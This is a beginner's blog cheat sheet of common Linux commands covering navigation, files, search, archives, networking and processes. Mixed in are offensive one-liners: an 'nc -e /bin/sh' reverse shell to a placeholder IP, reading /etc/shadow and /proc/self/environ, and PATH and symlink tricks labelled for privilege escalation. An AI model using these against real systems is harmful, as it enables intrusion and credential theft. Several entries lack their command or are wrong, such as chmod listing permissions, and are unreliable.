If you using google before running each and every Linux command and you finding it intricate to get comfortable with Linux terminal then you are not the only one. Most people find difficult to get accustomed with the CLI because of large number of Linux commands which are difficult to memorize. 

In this post I have compiled the list of most commonly used Linux command which will help to get started with Linux command line interface. Use this as the reference until you start feeling comfortable with them.

List of commonly used Linux Commands

Get the current working directory
List of all the files/folders in current directory
ls /
List of all the files/folders in root directory
ls -la
list of all the files (hidden also) with permission
cd /
Navigate to root directory
cd /[directory name]/
Navigate to a particular directory in the root
cd ..
Navigate 1 directory back. (Click of back button in windows)
cd ../..
Navigate back 2 directories
mkdir [Directory name]
Create new directory
rmdir [Directory name]
Remove directory(only if directory is empty)
rm [file name]
Remove a file
rm –r [Directory name]
Remove folder containing file(s)
nano [filename]
Create a new file using nano text editory
Save a file in nano editor
Exit from nano editor
touch [filename]
Create a empty file
ls > file1
Overwrite the file with output of ls(or any other) command
ls >> file1
Append to the file
sort -r
Sort in reverse order
sort -n
Sort the number
sort -M
Sort by month
ls | grep [keyword][location of file]
Output of ls command is given as input to grep. grep search for a particular string (by default in current directory)
grep -r
Search recursively by going into sub folders
grep -i
Search by ignoring cases
cat /etc/os-release
Get the OS version
diff file1 file2
Shows the difference between two files
ip addr (in some distros)
Get IP address
uname -a
Get system information
file <file name>
Check the file type
cat /etc/passwd
Get list of all the users in the system
cat /etc/shadow
Get list of hashed password of all the users in the system
whereis [command name]
Search a command
which [executable file]
Find the path of executable file
Run bash shell
Print all the environment variables
cat /proc/self/environ
export VARIABLE=”value”
Set the value of environment variable
Change DNS configuration
Directory generally where web applications are located
nc -vv -l -p [Port]
Open a socket to listen for incoming connection
vv : more verbose
-l  : listnening
-p : port
nc -e /bin/sh [IP] [Port]
Connecting to netcat service running on other system and open the reverse shell
/etc/init.d/apache2 restart
Restart apache web server
ln -s /bin/bash[link to file] ps[new symbolic link]
Symbolic link to existing file(used in privilege escalation attacks)
export PATH=.:$PATH
Add current location to executable path
find . -name [file name]
Find a file in current and sub-directories
find /home -name ‘*.jpg’
Find all .jpg files in the /home and sub-directories
find . -name “*.jpg” -delete  
Find and delete all .jpg files in current and sub-directories
alias p=”pwd”
Using alias for a command. Now p will give output of pwd for the current session
tar -xvzf community_images.tar.gz
Unzip a file
f: this must be the last flag of the command, and the tar file must be immediately after. It tells tar the name and path of the compressed file.
z: tells tar to decompress the archive using gzip
x: tar can collect files or extract them. x does the latter.
v: makes tar talk a lot. Verbose output shows you all the files being extracted.
ps aux
Get list of running processes
passwd [username]
Reset password
ifconfig -a
List all the network adapter settings along with the interface
sudo dhclient eth0
Resolves the issue if IP address in not assigned automatically at the particular interface. (Here eth0)
sudo shutdown -h now
Shutdown the system
sudo reboot
Reboot the system
man or [command] –help
Get the help for a particular command
chmod [file name]
Get the list of permissions associated with a file
chmod +x [file name]
Make a file executable
cp [dest1][dest2]
Copy a file from dest1 to dest2
mv [dest1][dest2]
Cut a file from dest1 to dest2 (Also used to rename the file)
kill [process id]
Kill a process using process id (process id is obtained using ps command)
List of all the commands used in past by the current user
dpkg –get-selections
Get the list of packages installed
service [service name] start
Start any service
netstat -antp
Get the list of all(-a) the open tcp sockets(-t) along with its details like numeric local and foreign address (-n) and process (-p)

Things to note

📃 ‘‘ symbol along with any Linux command is used to specify the options associated with any command. The option is specified as an alphabet. Multiple alphabet followed by ‘-‘ denotes that multiple options are used together.
For e.g. 
ls will list down list of all the files in current directory
ls -a will list down all the files along with the hidden directory
ls -l will list down all the files with permissions
📃 Two or more command options can be used together
For e.g ls -la or ls -l -a will list down all the files including hidden files/directories with their respective permission level.
📃 ‘–‘ is used to specify the full name of the command. e.g –help

📃 Output format of /etc/passwd along with the expaination

[1:2:3:4:5:6:7]: root:x:0:0:root:/root:/bin/bash
1. root: Account username.
2. x: Placeholder for password information. The password is obtained from the “/etc/shadow” file.
3. 0: User ID. Each user has a unique ID that identifies them on the system. The root user is always referenced by user ID 0.
4. 0: Group ID. Each group has a unique group ID. Each user has a “primary” group that is used as the group by default. Again, the root group’s ID is always 0.
5. root: Comment field. This field can be used to describe the user or user’s function. This can be anything from contact information for the user, to descriptions of the service the account was made for.
6. /root: Home directory. For regular users, this would usually be “/home/username”. For root, this is “/root”.
7. /bin/bash: User shell. This field contains the shell that will be spawned or the command that will be run when the user logs in.

📃 Output format of chmod along with the explaination
permissions may be r(read), write(write), x(execute)
[permissions to owner of file][permissions to the group to which owner belongs][permissions to any other user on the system]

Though there are several other commands, these are some of commands which are frequently used. Keep this as the handy reference for future use. Do comment your suggestions about the post. I will be happy to receive the feedback. Also share if you find it useful.

Follow me on twitter @PiyushSaurabh07  to get the notifications of my new posts in future.

Happy Learning 😊

The author is a security enthusiast with interest in web application security, cloud-native application development and Kubernetes.

2 Thoughts on “Essential Linux Commands”

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.